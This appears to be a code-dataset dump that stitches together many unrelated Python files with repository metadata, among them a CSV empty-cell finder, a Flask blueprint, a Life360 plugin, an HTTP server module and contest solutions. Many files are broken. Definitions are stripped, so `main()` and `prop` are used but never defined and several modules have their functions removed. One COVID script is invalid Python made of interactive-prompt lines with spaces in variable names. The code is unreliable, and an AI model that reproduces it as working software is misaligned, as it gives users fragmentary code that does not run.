498f5d250ec18042c1e21fac177a92f3c7d3da7c

[ "Apache-2.0" ]

null

hw2skeleton/find_features.py

hasuni-max/hw2-skeleton

498f5d250ec18042c1e21fac177a92f3c7d3da7c

[ "Apache-2.0" ]

null

hw2skeleton/find_features.py

hasuni-max/hw2-skeleton

498f5d250ec18042c1e21fac177a92f3c7d3da7c

[ "Apache-2.0" ]

null

global plus global minus minus = ["ASP","GLU"] plus = ["ARG","HIS","LYS"] def find_charge(residues): """ Takes a list of residues and returns the number of plus and minus charged residues. This function uses the global plus and minus variables """ global plus global minus plus_charge = sum([res in plus for res in residues]) minus_charge = sum([res in minus for res in residues]) return plus_charge, minus_charge

25.097561

73

0.737609

ddb4c04468f28635f43140d7b43e540cbcb4c57d

632

py

Python

main.py

jalexray/CSV-Empty-Finder

69d545ec9a757d331dbd2b1b298842de2c079129

[ "MIT" ]

null

main.py

jalexray/CSV-Empty-Finder

69d545ec9a757d331dbd2b1b298842de2c079129

[ "MIT" ]

null

main.py

jalexray/CSV-Empty-Finder

69d545ec9a757d331dbd2b1b298842de2c079129

[ "MIT" ]

null

# imports import csv # open the file with open("example.csv") as file: reader = csv.reader(file) # prep to store names of columns titleRow = reader.next() #rest = [row for row in reader] columnList = {} for row in reader: iterator = 0 cellList = [] for cell in row: if cell == "": cellList.append(titleRow[iterator]) #print("Within " + row[0] + ", " + titleRow[iterator] + " has an empty") iterator += 1 #print cellList columnList[row[0]] = cellList for item in sorted(columnList): itemString = (str(columnList[item])) if itemString != "[]": print(item + ":" + str(columnList[item]))

20.387097

76

0.629747

ddb85f6c9f54c6a26a73cc1b1e07e1f705ce4e40

124

py

Python

test_suite/suite/test09/other_mod.py

joncatanio/cannoli

410f6bea362bf9e33eecc0e01fb080dadd14ef23

[ "MIT" ]

755

2017-12-09T05:34:43.000Z

2022-03-26T09:15:56.000Z

test_suite/suite/test09/other_mod.py

joncatanio/cannoli

410f6bea362bf9e33eecc0e01fb080dadd14ef23

[ "MIT" ]

8

2017-12-12T01:03:18.000Z

2020-06-29T01:41:03.000Z

test_suite/suite/test09/other_mod.py

joncatanio/cannoli

410f6bea362bf9e33eecc0e01fb080dadd14ef23

[ "MIT" ]

23

2018-05-17T17:48:23.000Z

2022-03-26T09:15:57.000Z

import some_mod

17.714286

47

0.669355

ddb88819c796db53b08989fe1a656955b84d1760

140

py

Python

application/blueprints/user/__init__.py

demetrius-mp/flask-template

2dbab372bf2d7d5ff60af430c4b69c95a41cd681

[ "MIT" ]

null

application/blueprints/user/__init__.py

demetrius-mp/flask-template

2dbab372bf2d7d5ff60af430c4b69c95a41cd681

[ "MIT" ]

2

2021-10-14T02:00:15.000Z

2021-10-14T02:19:44.000Z

application/blueprints/user/__init__.py

demetrius-mp/flask-template

2dbab372bf2d7d5ff60af430c4b69c95a41cd681

[ "MIT" ]

null

from flask import Flask from application.blueprints.user.routes import users

17.5

52

0.792857

ddb942c43951bea6ec9329f93418d8030cd886cd

249

py

Python

src/methods/defs.py

karlotness/nn-benchmark

65ddb2f3d9934db5718417fd800278a97f627ba2

[ "MIT" ]

13

2021-08-04T21:07:50.000Z

2022-02-17T20:16:41.000Z

src/methods/defs.py

karlotness/nn-benchmark

65ddb2f3d9934db5718417fd800278a97f627ba2

[ "MIT" ]

null

src/methods/defs.py

karlotness/nn-benchmark

65ddb2f3d9934db5718417fd800278a97f627ba2

[ "MIT" ]

1

2021-10-03T00:37:05.000Z

from collections import namedtuple import torch NONLINEARITIES = { "tanh": torch.nn.Tanh, "relu": torch.nn.ReLU, } TimeDerivative = namedtuple("TimeDerivative", ["dq_dt", "dp_dt"]) StepPrediction = namedtuple("StepPrediction", ["q", "p"])

22.636364

65

0.698795

ddba665d13fe8e2f5bc1b2bf2549c77f6e609bdd

1,213

py

Python

caosmedicallab.py

erichilarysmithsr/CAOSMedicalLabDb

9a7acee44f9f3680c0a01332797ce94a0895c2d1

[ "Apache-2.0" ]

null

caosmedicallab.py

erichilarysmithsr/CAOSMedicalLabDb

9a7acee44f9f3680c0a01332797ce94a0895c2d1

[ "Apache-2.0" ]

10

2021-04-03T14:00:28.000Z

2022-01-28T23:44:11.000Z

caosmedicallab.py

erichilarysmithsr/CAOSMedicalLabDb

9a7acee44f9f3680c0a01332797ce94a0895c2d1

[ "Apache-2.0" ]

null

>>> S = 'Susceptible' >>> print(S) >>> E = 'Exposed' >>> print(E) >>> I = 'Infectious' >>> print(I) >>> R = 'Removed' >>> print(R) >>> N = 'Total Population' >>> print(N) >>> C = 'Living with COVID19' >>> print(C) >>> D = 'Living with Diabetes' >>> print(D) >>> Susceptible = input('Enter number of Susceptible Individuals') >>> print(Susceptible + 1) >>> print(int(Susceptible)+ 1) >>> Exposed = input('Enter number of Exposed Individuals') >>> print(Exposed + 1) >>> print(int(Exposed)+ 1) >>> Infectious = input('Enter number of Infectious Individuals') >>> print(Infectious + 1) >>> print(int(Infectious)+ 1) >>> Removed = input('Enter number of Removed Individuals') >>> print(Removed + 1) >>> print(int(Removed) + 1) >>> Total Population = input('Enter number of Total Population') >>> print(Total Population + 1) >>> print(int(Total Population)+ 1) >>> Living with COVID19 = input('Enter number of Individuals Living with COVID19') >>> print(Living with COVID19 + 1) >>> print(int(Living with COVID19)+ 1) >>> Living with Diabetes = input('Enter number of Individuals Living with Diabetes') >>> print(Living with Diabetes + 1) >>> print(int(Living with Diabetes)+ 1) >>> S = C + D - E - I - R >>> print(S)

31.921053

84

0.645507

ddbaaba267f11c03c921ef7b0388970b8db8a6b9

2,396

py

Python

src/quacks/__init__.py

ariebovenberg/quacks

839d307b24f3f37d9a5318c16acb631b9a1153f0

[ "MIT" ]

11

2021-12-12T20:51:15.000Z

2022-02-02T12:08:32.000Z

src/quacks/__init__.py

ariebovenberg/quacks

839d307b24f3f37d9a5318c16acb631b9a1153f0

[ "MIT" ]

8

2021-12-14T12:53:51.000Z

2022-03-15T04:29:44.000Z

src/quacks/__init__.py

ariebovenberg/quacks

839d307b24f3f37d9a5318c16acb631b9a1153f0

[ "MIT" ]

1

2021-12-15T16:50:34.000Z

from typing import _GenericAlias # type: ignore from typing import ClassVar from typing_extensions import Protocol # Single-sourcing the version number with poetry: # https://github.com/python-poetry/poetry/pull/2366#issuecomment-652418094 try: __version__ = __import__("importlib.metadata").metadata.version(__name__) except ModuleNotFoundError: # pragma: no cover __version__ = __import__("importlib_metadata").version(__name__) __all__ = ["readonly"] def readonly(cls: type) -> type: """Decorate a :class:`~typing.Protocol` to make it read-only. Unlike default protocol attributes, read-only protocols will match frozen dataclasses and other immutable types. Read-only attributes are already supported in protocols with ``@property``, but this is cumbersome to do for many attributes. The ``@readonly`` decorator effectively transforms all mutable attributes into read-only properties. Example ------- .. code-block:: python from quacks import readonly @readonly class User(Protocol): id: int name: str is_premium: bool # equivalent to: class User(Protocol): @property def id(self) -> int: ... @property def name(self) -> str: ... @property def is_premium(self) -> bool: ... Warning ------- Subprotocols and inherited attributes are not supported yet. """ if not _is_a_protocol(cls): raise TypeError("Readonly decorator can only be applied to Protocols.") elif any(b is not Protocol and _is_a_protocol(b) for b in cls.__bases__): raise NotImplementedError("Subprotocols not yet supported.") for name, typ in getattr(cls, "__annotations__", {}).items(): if not _is_classvar(typ): prop.fget.__name__ = name # type: ignore prop.fget.__annotations__ = {"return": typ} # type: ignore setattr(cls, name, prop) return cls

29.95

79

0.647329

ddbb30413bba7d94f4e08a1b8b5b0f62d116a712

13,818

py

Python

gobbli/inspect/evaluate.py

RTIInternational/gobbli

d9ec8132f74ce49dc4bead2fad25b661bcef6e76

[ "Apache-2.0" ]

276

2019-09-13T08:25:51.000Z

2022-03-05T13:07:55.000Z

gobbli/inspect/evaluate.py

RTIInternational/gobbli

d9ec8132f74ce49dc4bead2fad25b661bcef6e76

[ "Apache-2.0" ]

15

2019-09-06T14:05:30.000Z

2022-01-01T20:15:06.000Z

gobbli/inspect/evaluate.py

RTIInternational/gobbli

d9ec8132f74ce49dc4bead2fad25b661bcef6e76

[ "Apache-2.0" ]

24

2019-09-18T15:11:42.000Z

2021-12-23T18:59:55.000Z

from dataclasses import dataclass from typing import Callable, Dict, List, Optional, Sequence, Tuple, Union import altair as alt import pandas as pd from sklearn.metrics import ( accuracy_score, classification_report, f1_score, precision_score, recall_score, ) from gobbli.util import ( as_multiclass, as_multilabel, escape_line_delimited_text, is_multilabel, multilabel_to_indicator_df, pred_prob_to_pred_label, pred_prob_to_pred_multilabel, truncate_text, ) MetricFunc = Callable[[Sequence[str], pd.DataFrame], float] """ A function used to calculate some metric. It should accept a sequence of true labels (y_true) and a dataframe of shape (n_samples, n_classes) containing predicted probabilities; it should output a real number. """ DEFAULT_METRICS: Dict[str, MetricFunc] = { "Weighted F1 Score": lambda y_true, y_pred: f1_score( y_true, y_pred, average="weighted" ), "Weighted Precision Score": lambda y_true, y_pred: precision_score( y_true, y_pred, average="weighted" ), "Weighted Recall Score": lambda y_true, y_pred: recall_score( y_true, y_pred, average="weighted" ), "Accuracy": lambda y_true, y_pred: accuracy_score(y_true, y_pred), } """ The default set of metrics to evaluate classification models with. Users may want to extend this. """

35.25

102

0.56506

ddbc20a9147b17ccfb31328be56cce367423b65a

791

py

Python

victor_fake_hardware_interface/scripts/fake_grippers_node.py

MMintLab/kuka_iiwa_interface

0dd258641377263e7275bc63f37cf32eb12f3e56

[ "BSD-2-Clause" ]

5

2021-01-11T09:00:26.000Z

2021-12-13T15:59:01.000Z

victor_fake_hardware_interface/scripts/fake_grippers_node.py

MMintLab/kuka_iiwa_interface

0dd258641377263e7275bc63f37cf32eb12f3e56

[ "BSD-2-Clause" ]

35

2020-07-01T14:48:40.000Z

2021-07-13T18:38:53.000Z

victor_fake_hardware_interface/scripts/fake_grippers_node.py

MMintLab/kuka_iiwa_interface

0dd258641377263e7275bc63f37cf32eb12f3e56

[ "BSD-2-Clause" ]

1

2021-01-08T23:39:17.000Z

#!/usr/bin/env python import rospy from victor_fake_hardware_interface.minimal_fake_arm_interface import MinimalFakeGripperInterface if __name__ == '__main__': main()

27.275862

114

0.652339

ddbc90c6ac864e7ce62505e078e39b8bc44056dd

11,647

py

Python

python/bgraph.py

brunodferrari/bdp

d320add1e451c85b6777ae34901bbd6fd3797114

[ "Unlicense" ]

null

python/bgraph.py

brunodferrari/bdp

d320add1e451c85b6777ae34901bbd6fd3797114

[ "Unlicense" ]

null

python/bgraph.py

brunodferrari/bdp

d320add1e451c85b6777ae34901bbd6fd3797114

[ "Unlicense" ]

null

# -*- coding: utf-8 -*- import numpy as np import matplotlib.pyplot as plt import networkx as nx import pandas as pd import copy from numba import njit from numba.typed import Dict, List from numba.core import types from concurrent.futures import ThreadPoolExecutor np.seterr(over='ignore') #plot utilizando o lyt adequado #encontra baricentro do vertice

28.06506

145

0.479608

ddbf5e2f65d38e783f4768e0ca9abc2a32d54029

3,403

py

Python

src/odin/http/server.py

stfc-aeg/odin-control

71ab2e6e6e1a7c7ce322ea0df31a9d675f7b92bf

[ "Apache-2.0" ]

4

2018-05-24T13:38:23.000Z

2021-08-18T08:32:54.000Z

src/odin/http/server.py

stfc-aeg/odin-control

71ab2e6e6e1a7c7ce322ea0df31a9d675f7b92bf

[ "Apache-2.0" ]

20

2018-04-10T09:28:01.000Z

2022-03-17T11:43:59.000Z

src/odin/http/server.py

stfc-aeg/odin-control

71ab2e6e6e1a7c7ce322ea0df31a9d675f7b92bf

[ "Apache-2.0" ]

3

2017-06-07T13:28:38.000Z

2019-07-16T10:02:21.000Z

"""odin.http.server - ODIN HTTP Server class. This module provides the core HTTP server class used in ODIN, which handles all client requests, handing off API requests to the appropriate API route and adapter plugins, and defining the default route used to serve static content. Tim Nicholls, STFC Application Engineering """ import logging import tornado.gen import tornado.web import tornado.ioloop from tornado.log import access_log from odin.http.routes.api import ApiRoute from odin.http.routes.default import DefaultRoute

35.447917

96

0.658537

ddc0751188e1d1856d4d69064affd55e5821f001

1,382

py

Python

leetcode/ds_stack_valid_parentheses.py

ngovindaraj/Python

edbcd302533bef81aa0c01e902e6081df58f383c

[ "MIT" ]

null

leetcode/ds_stack_valid_parentheses.py

ngovindaraj/Python

edbcd302533bef81aa0c01e902e6081df58f383c

[ "MIT" ]

null

leetcode/ds_stack_valid_parentheses.py

ngovindaraj/Python

edbcd302533bef81aa0c01e902e6081df58f383c

[ "MIT" ]

null

# @file Valid Parentheses # @brief Given a string containing just the characters '(', ')', '{', '}', # '[' and ']', determine if the input string is valid. # https://leetcode.com/problems/valid-parentheses/ import collections ''' Given a string containing just the characters '(', ')', '{', '}', '[' and ']', determine if the input string is valid. The brackets must close in the correct order, "()" and "()[]{}" are all valid but "(]" and "([)]" are not. ''' # time complexity : O(n) # space complexity: O(n)

40.647059

79

0.552822

ddc0a159fdea30685a3e6c6f67386c3bf2f75073

3,746

py

Python

2016/round_1b/technobabble.py

laichunpongben/CodeJam

a048229bce1bc680dc85c8a69ef395a2f049732a

[ "Apache-2.0" ]

null

2016/round_1b/technobabble.py

laichunpongben/CodeJam

a048229bce1bc680dc85c8a69ef395a2f049732a

[ "Apache-2.0" ]

null

2016/round_1b/technobabble.py

laichunpongben/CodeJam

a048229bce1bc680dc85c8a69ef395a2f049732a

[ "Apache-2.0" ]

null

#!/usr/bin/env python from __future__ import print_function from collections import deque if __name__ == '__main__': import os samples = [ ['HYDROCARBON COMBUSTION', 'QUAIL BEHAVIOR', 'QUAIL COMBUSTION'], ['CODE JAM', 'SPACE JAM', 'PEARL JAM'], ['INTERGALACTIC PLANETARY', 'PLANETARY INTERGALACTIC'], ['BOUNDARY GRAVITY', 'BOUNDARY HERMENEUTICS', 'BOUNDARY TRANSGRESSION', 'QUANTUM GRAVITY', 'QUANTUM HERMENEUTICS', 'QUANTUM TRANSGRESSION', 'TRANSFORMATIVE GRAVITY', 'TRANSFORMATIVE HERMENEUTICS', 'TRANSFORMATIVE TRANSGRESSION'], ['GF CH', 'RO GI', 'YB GI', 'TD HI', 'YG HI', 'IZ NB', 'BQ TA', 'GF TP', 'GR WG', 'IZ ZD'] ] for sample in samples: print(count_fake(sample)) data_files = ['C-small-practice'] for f in data_files: with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), '{0}.in'.format(f)), 'r') as input_file: lines = input_file.readlines() test_case_count = int(lines[0].replace('\n' ,'')) test_cases = [] inputs = [line.replace('\n', '') for line in lines[1:]] i = 0 while i < len(inputs): n = int(inputs[i]) topics = inputs[i+1:i+n+1] test_cases.append(topics) i += n+1 i = 1 with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), '{0}.out'.format(f)), 'w') as output_file: for test_case in test_cases: print(i) output_file.write('Case #{0}: {1}\n'.format(i, count_fake(test_case))) i += 1

30.455285

95

0.509343

ddc2ab09f2aabd1f5e1c2e16308c14b4efc96586

101

py

Python

dask_xgboost/__init__.py

ksangeek/dask-xgboost

8ca1d69f21a6c666eaf581fb88b20cff2b6b05ef

[ "BSD-3-Clause" ]

null

dask_xgboost/__init__.py

ksangeek/dask-xgboost

8ca1d69f21a6c666eaf581fb88b20cff2b6b05ef

[ "BSD-3-Clause" ]

null

dask_xgboost/__init__.py

ksangeek/dask-xgboost

8ca1d69f21a6c666eaf581fb88b20cff2b6b05ef

[ "BSD-3-Clause" ]

null

from .core import _train, train, predict, XGBClassifier, XGBRegressor # noqa __version__ = '0.1.7'

25.25

77

0.742574

ddc39e71f4d5f6b6a53e16b07decfbb4b7887488

12,963

py

Python

life360.indigoPlugin/Contents/Server Plugin/plugin.py

ryanbuckner/life360-plugin

3e64108b91c4ee0f4f85f6e7aa31fa7bd1b1d6fe

[ "MIT" ]

1

2021-09-25T15:43:00.000Z

life360.indigoPlugin/Contents/Server Plugin/plugin.py

ryanbuckner/life360-plugin

3e64108b91c4ee0f4f85f6e7aa31fa7bd1b1d6fe

[ "MIT" ]

null

life360.indigoPlugin/Contents/Server Plugin/plugin.py

ryanbuckner/life360-plugin

3e64108b91c4ee0f4f85f6e7aa31fa7bd1b1d6fe

[ "MIT" ]

null

#! /usr/bin/env python # -*- coding: utf-8 -*- #################### # Copyright (c) 2021 ryanbuckner # https://github.com/ryanbuckner/life360-plugin/wiki # # Based on neilk's Solcast plugin ################################################################################ # Imports ################################################################################ import indigo import sys from life360 import life360 import datetime try: from geopy.geocoders import Nominatim except: self.logger.debug("Geopy python library is not found. Try reinstalling the Plugin") pass ################################################################################ # Globals ################################################################################ ################################################################################

36.931624

174

0.66011

ddc3d50c63fd6d2bc041dad2539a4d22872461ff

699

py

Python

accounts/views.py

airmoor/learnweb

5867eadaca45b847f6fba8fd0be8a8ccdaeceea0

[ "MIT" ]

null

accounts/views.py

airmoor/learnweb

5867eadaca45b847f6fba8fd0be8a8ccdaeceea0

[ "MIT" ]

null

accounts/views.py

airmoor/learnweb

5867eadaca45b847f6fba8fd0be8a8ccdaeceea0

[ "MIT" ]

null

from django.shortcuts import render from django.contrib.auth.forms import UserCreationForm from django.contrib.auth.decorators import login_required from django.urls import reverse_lazy from django.views import generic, View

27.96

64

0.726753

ddc4e2961bdd997e8ed912766a3c871b4f8b1cc7

3,306

py

Python

openmapi/globales.py

IgnacioPardo/mAPI-Provincias

812fc12bcc72d6aa28ab2e39af2d64d0aa68c86b

[ "MIT" ]

4

2020-08-02T06:51:04.000Z

2022-03-22T21:31:44.000Z

openmapi/globales.py

Creativity-Hub/Open-mAPI

b7e0ee9acda424aec0e84513d8e968aa6ff5d7c5

[ "MIT" ]

null

openmapi/globales.py

Creativity-Hub/Open-mAPI

b7e0ee9acda424aec0e84513d8e968aa6ff5d7c5

[ "MIT" ]

1

2022-03-24T22:20:47.000Z

import requests from bs4 import BeautifulSoup

23.614286

119

0.650333

ddc738c6ed27c814c11c63a6fb453a793040af60

947

py

Python

openpype/hosts/tvpaint/plugins/publish/validate_start_frame.py

jonclothcat/OpenPype

d1208cbebc0a7f378de0062ccd653295c6399195

[ "MIT" ]

1

2022-02-08T15:40:41.000Z

openpype/hosts/tvpaint/plugins/publish/validate_start_frame.py

zafrs/OpenPype

4b8e7e1ed002fc55b31307efdea70b0feaed474f

[ "MIT" ]

2

2022-03-18T01:46:03.000Z

2022-03-18T01:46:16.000Z

openpype/hosts/tvpaint/plugins/publish/validate_start_frame.py

zafrs/OpenPype

4b8e7e1ed002fc55b31307efdea70b0feaed474f

[ "MIT" ]

null

import pyblish.api from openpype.pipeline import PublishXmlValidationError from openpype.hosts.tvpaint.api import lib

24.921053

57

0.636748

ddc806857072eff9c83a07e28e06781742f5341f

1,304

py

Python

leds/rgbLed.py

JDRyder/stardust

a1b1de99e7d10c18f7243217a72aa5e7a3566e74

[ "MIT" ]

null

leds/rgbLed.py

JDRyder/stardust

a1b1de99e7d10c18f7243217a72aa5e7a3566e74

[ "MIT" ]

null

leds/rgbLed.py

JDRyder/stardust

a1b1de99e7d10c18f7243217a72aa5e7a3566e74

[ "MIT" ]

null

import board import neopixel import time pixels = neopixel.NeoPixel(board.D21, 1) GREEN = (255, 0, 0) # RED = (0,255,0) # BLUE = (0,0,255) # YELLOW = (255,255,0) # CYAN = (255,0,255) # VIOLET = (0,127,255) # WHITE = (255,255,255) # OFF = (0,0,0) #

15.162791

40

0.624233

ddc862cde96df508b37a55b7bb12e12b0c12e813

3,548

py

Python

utils/Model_builder.py

Devwalkar/General_codebase

d52eee09248caa715d7e5e8b87f145d1989e278d

[ "MIT" ]

null

utils/Model_builder.py

Devwalkar/General_codebase

d52eee09248caa715d7e5e8b87f145d1989e278d

[ "MIT" ]

null

utils/Model_builder.py

Devwalkar/General_codebase

d52eee09248caa715d7e5e8b87f145d1989e278d

[ "MIT" ]

null

import torch import pretrainedmodels as PM import torch.nn as nn from .Mobilenet import MobileNetV2 device = 'cuda' if torch.cuda.is_available() else 'cpu'

37.744681

94

0.669391

ddc91781c017fdef90c8f25f225a0256fda47415

828

py

Python

examples/main.py

marcoaaguiar/erised

26a304afb2058f532b07ecde6c6fc85d8864696c

[ "MIT" ]

null

examples/main.py

marcoaaguiar/erised

26a304afb2058f532b07ecde6c6fc85d8864696c

[ "MIT" ]

3

2021-03-15T00:51:37.000Z

2021-03-15T01:01:30.000Z

examples/main.py

marcoaaguiar/erised

26a304afb2058f532b07ecde6c6fc85d8864696c

[ "MIT" ]

null

from erised.proxy import Proxy if __name__ == "__main__": person = Person() person.dog = Dog() proxy = Proxy(obj=person) # call method remotely call_future = proxy.dog.bark(loud=True) print(call_future.result()) # set attributes into remote object, even if they didn't exist originally proxy.dog.age = 3 # it generates a future that can't be retrieved # get attributes from remote object get_future = proxy.dog.age.retrieve() print(get_future.result()) # if running multiprocessing mode (local=False), terminates child process proxy.terminate()

23.657143

77

0.649758

ddcc7c8aaeb73f494f7fe3439f603884d9bf5226

480

py

Python

ontask/migrations/0056_auto_20190323_1122.py

pinheiroo27/ontask_b

23fee8caf4e1c5694a710a77f3004ca5d9effeac

[ "MIT" ]

33

2017-12-02T04:09:24.000Z

2021-11-07T08:41:57.000Z

ontask/migrations/0056_auto_20190323_1122.py

pinheiroo27/ontask_b

23fee8caf4e1c5694a710a77f3004ca5d9effeac

[ "MIT" ]

189

2017-11-16T04:06:29.000Z

2022-03-11T23:35:59.000Z

ontask/migrations/0056_auto_20190323_1122.py

pinheiroo27/ontask_b

23fee8caf4e1c5694a710a77f3004ca5d9effeac

[ "MIT" ]

30

2017-11-30T03:35:44.000Z

2022-01-31T03:08:08.000Z

# Generated by Django 2.1.7 on 2019-03-23 00:52 from django.db import migrations, models

25.263158

132

0.641667

ddcde07c3cbd2e093fb249312865d2348a9e3b73

6,863

py

Python

proteus/MeshAdaptPUMI/Checkpoint.py

acatwithacomputer/proteus

80dfad95da6ab4d18a88a035f55c26b03540a864

[ "MIT" ]

null

proteus/MeshAdaptPUMI/Checkpoint.py

acatwithacomputer/proteus

80dfad95da6ab4d18a88a035f55c26b03540a864

[ "MIT" ]

13

2018-02-08T23:22:59.000Z

2020-12-06T19:40:32.000Z

proteus/MeshAdaptPUMI/Checkpoint.py

acatwithacomputer/proteus

80dfad95da6ab4d18a88a035f55c26b03540a864

[ "MIT" ]

1

2020-02-17T03:25:34.000Z

from __future__ import division from builtins import str from builtins import range import proteus import sys import numpy from proteus import Profiling #it should probably be associated with the PUMI domain somehow #The current implementation assumes we're using NS, VOF, LS, RD, MCorr setup with lagging and Backwards Euler. #Future work on this module should include creating an abstract class from which variations based on the models and numerical accuracy can be created #Have the dictionary submodels be labeled by physical model names like "twp_navier_stokes"

48.673759

208

0.722862

ddd0869ac7a679df101a618ba69ece08f889a431

596

py

Python

rlunch/lunch/migrations/0002_talk_how_was_it.py

acdh-oeaw/django-generic-apps

4af63a8a95826ede787347fc86951e933ccdbc6c

[ "MIT" ]

null

rlunch/lunch/migrations/0002_talk_how_was_it.py

acdh-oeaw/django-generic-apps

4af63a8a95826ede787347fc86951e933ccdbc6c

[ "MIT" ]

null

rlunch/lunch/migrations/0002_talk_how_was_it.py

acdh-oeaw/django-generic-apps

4af63a8a95826ede787347fc86951e933ccdbc6c

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.9.5 on 2017-02-02 14:22 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion

25.913043

129

0.644295

ddd0b7f89eb5fdc6f55d6efae895022ea00e5fd2

2,634

py

Python

ream/decode.py

chmlee/ream-python

13f46596f59bb411308d1c9070b8d6f8a0afeb31

[ "MIT" ]

null

ream/decode.py

chmlee/ream-python

13f46596f59bb411308d1c9070b8d6f8a0afeb31

[ "MIT" ]

null

ream/decode.py

chmlee/ream-python

13f46596f59bb411308d1c9070b8d6f8a0afeb31

[ "MIT" ]

null

""" REAM: REAM Ain't Markdown ~~~~~~~~~~~~~~~~~~~~~~~~~ This file is part of the ream package :copyright: Copyright 2020 by Chih-Ming Louis Lee :license: MIT, see LICENSE for details """ import sys import os import re import json import pandas as pd from ream.transformer import Ream2Dict from ream.grammar import REAM_RULE def ream2dict(input_raw, output_file=None, debug=False, no_comment=False): """ream to json""" if no_comment: Ream2Dict.no_comment = True else: Ream2Dict.no_comment = False input_tree = REAM_RULE.parse(input_raw) output_raw = Ream2Dict().transform(input_tree) if debug: print(input_tree) print("====================") print(input_tree.pretty()) print("====================") print(output_raw) print("====================") if output_file is None: return output_raw else: with open(output_file, 'w') as file: json.dump(output_raw, file) print(json.dumps(output_raw, indent=4)) return None def main(input_raw, output_file, debug, no_comment): """ main function for decoding ream file """ output_ext = output_file.split('.')[-1] # choose conversion function if output_ext in ['json']: ream2dict(input_raw, output_file, debug, no_comment) elif output_ext in ['csv']: ream2csv(input_raw, output_file) else: print("Output file formet not supported") print("Complete")

24.849057

74

0.566059

ddd0baa5f55beee804fd811c66a9f9297112106b

444

py

Python

snippets/3DEM/useful_bits/scratch_hdf5_2_nii.py

michielkleinnijenhuis/EM

f46a9b11298919b359e80d9f23a7e824df1356cb

[ "Apache-2.0" ]

null

snippets/3DEM/useful_bits/scratch_hdf5_2_nii.py

michielkleinnijenhuis/EM

f46a9b11298919b359e80d9f23a7e824df1356cb

[ "Apache-2.0" ]

null

snippets/3DEM/useful_bits/scratch_hdf5_2_nii.py

michielkleinnijenhuis/EM

f46a9b11298919b359e80d9f23a7e824df1356cb

[ "Apache-2.0" ]

null

### get all the blocked raw datafiles from ARC and convert to nifti's ### #rsync -avz ndcn0180@arcus.arc.ox.ac.uk:/data/ndcn-fmrib-water-brain/ndcn0180/EM/M3/M3_S1_GNU/testblock/m000_?????-?????_?????-?????_?????-?????.h5 /Users/michielk/oxdata/P01/EM/M3/M3_S1_GNU/ for f in `ls m000_?????-?????_?????-?????_?????-?????.h5`; do python $scriptdir/convert/EM_stack2stack.py ${f} ${f/.h5/.nii.gz} -i 'zyx' -l 'xyz' -e -0.0073 -0.0073 0.05 -u done

74

191

0.614865

ddd0c824e4d2d1eee0fd05d787911e01b80ce07a

53

py

Python

Week1/sumofdigits_teacher.py

CrazyDi/Python1

016dd77ace04fccfec61edf37ec5a990ead6c4ef

[ "Unlicense" ]

null

Week1/sumofdigits_teacher.py

CrazyDi/Python1

016dd77ace04fccfec61edf37ec5a990ead6c4ef

[ "Unlicense" ]

null

Week1/sumofdigits_teacher.py

CrazyDi/Python1

016dd77ace04fccfec61edf37ec5a990ead6c4ef

[ "Unlicense" ]

null

import sys print(sum([int(x) for x in sys.argv[1]]))

17.666667

41

0.660377

ddd11496dad00035846edb605bc410d5d8e9ecb5

1,549

py

Python

cyborg/accelerator/drivers/nic/base.py

NeCTAR-RC/cyborg

e0fab29181467c0c72667ea26a8b04c53b238ddb

[ "Apache-2.0" ]

37

2017-03-23T02:10:35.000Z

2021-11-25T07:57:36.000Z

cyborg/accelerator/drivers/nic/base.py

openstack/nomad

8cd846a16c2da04c2f204b02b90db814e32acd63

[ "Apache-2.0" ]

null

cyborg/accelerator/drivers/nic/base.py

openstack/nomad

8cd846a16c2da04c2f204b02b90db814e32acd63

[ "Apache-2.0" ]

27

2017-07-14T02:26:24.000Z

2022-01-19T07:55:10.000Z

# Copyright 2020 Intel, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ Cyborg NIC driver implementation. """ VENDOR_MAPS = {"0x8086": "intel"}

29.788462

75

0.672692

ddd29b6ed93109a393ac788b23f262d228d22a8b

621

py

Python

reviews/migrations/0016_auto_20180908_1733.py

UrbanBogger/horrorexplosion

3698e00a6899a5e8b224cd3d1259c3deb3a2ca80

[ "MIT" ]

null

reviews/migrations/0016_auto_20180908_1733.py

UrbanBogger/horrorexplosion

3698e00a6899a5e8b224cd3d1259c3deb3a2ca80

[ "MIT" ]

4

2020-06-05T18:21:18.000Z

2021-06-10T20:17:31.000Z

reviews/migrations/0016_auto_20180908_1733.py

UrbanBogger/horrorexplosion

3698e00a6899a5e8b224cd3d1259c3deb3a2ca80

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2018-09-08 16:33 from __future__ import unicode_literals from django.db import migrations

22.178571

48

0.574879

ddd324b790a9312a2fcc8cac11385ac3c12a277d

2,796

py

Python

src/markup.py

alex-panda/PDFCompiler

3454ee01a6e5ebb2d2bccdcdc32678bf1def895d

[ "MIT" ]

null

src/markup.py

alex-panda/PDFCompiler

3454ee01a6e5ebb2d2bccdcdc32678bf1def895d

[ "MIT" ]

null

src/markup.py

alex-panda/PDFCompiler

3454ee01a6e5ebb2d2bccdcdc32678bf1def895d

[ "MIT" ]

null

from constants import ALIGNMENT, STRIKE_THROUGH, UNDERLINE

29.125

114

0.65093

ddd3332668c74ceeb6666a897a79187f953f120f

10,476

py

Python

svirl/vars/params.py

microsoft/svirl

8d0da6a03ad20315a690a3c65bb8b60c196c3f3d

[ "MIT" ]

6

2020-12-21T20:11:13.000Z

2022-03-21T07:55:33.000Z

svirl/vars/params.py

ivan-sadovsky/svirl

523abe9fcf2a5e9d192782d7aeb7093c86ef4036

[ "MIT" ]

4

2021-07-15T20:12:55.000Z

2021-08-07T22:11:18.000Z

svirl/vars/params.py

ivan-sadovsky/svirl

523abe9fcf2a5e9d192782d7aeb7093c86ef4036

[ "MIT" ]

9

2020-12-22T06:06:16.000Z

2022-03-25T17:26:55.000Z

